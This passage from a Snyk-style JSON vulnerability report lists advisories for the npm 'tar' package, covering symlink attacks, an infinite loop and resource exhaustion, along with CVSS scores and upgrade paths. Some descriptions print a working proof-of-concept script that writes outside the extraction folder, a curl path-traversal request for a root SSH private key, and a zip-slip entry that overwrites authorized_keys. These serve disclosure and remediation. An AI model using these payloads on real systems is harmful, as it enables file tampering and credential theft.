"severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub 